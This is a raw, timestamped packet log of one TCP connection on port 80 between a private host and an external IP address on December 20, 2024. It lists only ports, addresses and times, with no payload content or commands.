Dec 20, 2024 07:12:17.607423067 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.607505083 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.607629061 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.609270096 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.609285116 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.609318972 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.609332085 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.610980034 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.611210108 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.611258984 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.612684011 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.612812042 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.612869978 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.614388943 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.614448071 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.614507914 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.614687920 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.616158009 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.616229057 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.616233110 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.616385937 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.617685080 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.617736101 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.617804050 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.617846012 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.619339943 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.619395971 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.619487047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.619785070 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.621021032 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.621067047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.621072054 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.621115923 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.622653008 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.622724056 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.622771978 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.624325037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.624380112 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.624425888 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.625873089 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.625951052 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.625998974 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.627543926 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.627592087 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.627698898 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.629210949 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.629260063 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.629302979 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.629507065 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.630871058 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.631109953 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.631156921 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.632498026 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.632586002 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.632632971 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.634128094 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.634248018 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.634293079 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.635807037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.635852098 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.636019945 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.637449980 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.637505054 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.637518883 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.637648106 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.639084101 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.639134884 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.639172077 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.639214993 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.640728951 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.640774012 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.640816927 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.640867949 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.642375946 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.642391920 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.642426968 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.642426968 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.643981934 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.644030094 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.644067049 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.644112110 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.645661116 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.645699024 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.645708084 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.645731926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.647335052 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.647360086 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.647389889 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.647389889 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.648897886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.648945093 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.648989916 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.649035931 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.650556087 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.650604963 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.650679111 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.650722027 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.652194023 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.652239084 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.652306080 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.652355909 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.653805971 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.653851986 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.654000044 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.654043913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.655447960 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.655494928 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.655538082 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.655582905 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.657129049 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.657174110 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.657211065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.657253981 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.658818960 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.658843994 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.658871889 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.658886909 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.660381079 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.660429955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.660475016 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.660520077 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.662044048 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.662090063 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.662152052 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.662197113 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.663708925 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.663755894 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.663793087 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.663839102 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.665395021 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.665446997 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.665488958 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.665534019 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.666959047 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.667005062 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.667064905 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.667119026 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.668589115 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.668637991 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.668699026 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.668742895 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.670228958 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.670274973 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.670367002 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.670480013 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.671845913 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.671888113 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.671961069 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.672005892 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.673513889 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.673558950 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.673636913 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.673681021 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.675173998 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.675220013 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.675282955 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.675329924 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.676805019 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.676852942 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.676894903 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.676937103 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.678431988 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.678478956 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.678545952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.678591967 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.680048943 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.680094957 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.680164099 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.680210114 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.681715012 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.681761026 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.681802988 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.681862116 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.683351994 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.683398008 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.683475018 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.683520079 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.685022116 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.685070038 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.685137987 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.685184002 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.686657906 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.686703920 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.686769009 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.686814070 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.688273907 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.688321114 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.688461065 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.688505888 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.689919949 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.689965010 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.690121889 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.690171003 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.798486948 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.798568010 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.799010992 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.799168110 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.799324036 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.799402952 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.799621105 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.800568104 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.800623894 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.800744057 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.800800085 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.801964045 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.802011967 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.802097082 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.802145004 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.803788900 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.803839922 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.803884983 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.803931952 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.804814100 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.804874897 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.804924965 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.804972887 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.806206942 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.806225061 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.806255102 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.806271076 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.807535887 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.807612896 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.807643890 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.807837963 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.808902025 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.808949947 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.809035063 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.809083939 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.810197115 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.810246944 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.810432911 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.810486078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.811835051 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.811856985 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.811883926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.811906099 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.812870979 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.812920094 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.813035011 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.813083887 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.814135075 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.814182043 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.814261913 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.814321995 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.815464020 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.815510988 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.815578938 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.815628052 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.816823959 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.816895962 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.816940069 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.818075895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.818185091 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.818701982 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.819391966 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.819442034 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.819484949 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.819534063 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.820691109 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.820741892 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.820779085 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.820826054 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.821983099 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.822031975 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.822076082 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.822134972 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.823296070 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.823340893 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.823385954 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.823429108 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.824616909 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.824661970 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.824733019 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.824824095 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.825886965 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.825934887 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.825977087 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.826020002 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.827214003 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.827260971 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.827342033 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.827385902 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.828509092 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.828557014 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.828599930 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.828644037 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.829826117 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.829869986 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.829914093 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.829960108 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.831115961 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.831165075 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.831249952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.831295013 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.832403898 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.832448006 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.832525015 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.832571983 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.833762884 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.833811998 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.833821058 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.833864927 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.835026026 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.835071087 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.835208893 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.835251093 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.836328030 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.836373091 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.836416960 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.836462975 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.837625980 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.837673903 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.837749958 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.837805033 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.838946104 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.838990927 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.839059114 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.839102983 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.840398073 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.840415001 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.840444088 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.840457916 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.841583967 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.841630936 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.841747046 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.841794968 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.842864037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.842912912 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.842982054 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.843025923 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.844254017 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.844270945 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.844300032 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.844325066 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.845453024 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.845498085 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.845541000 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.845587015 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.846744061 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.846790075 CET	49777	80	192.168.2.4	31.41.244.11
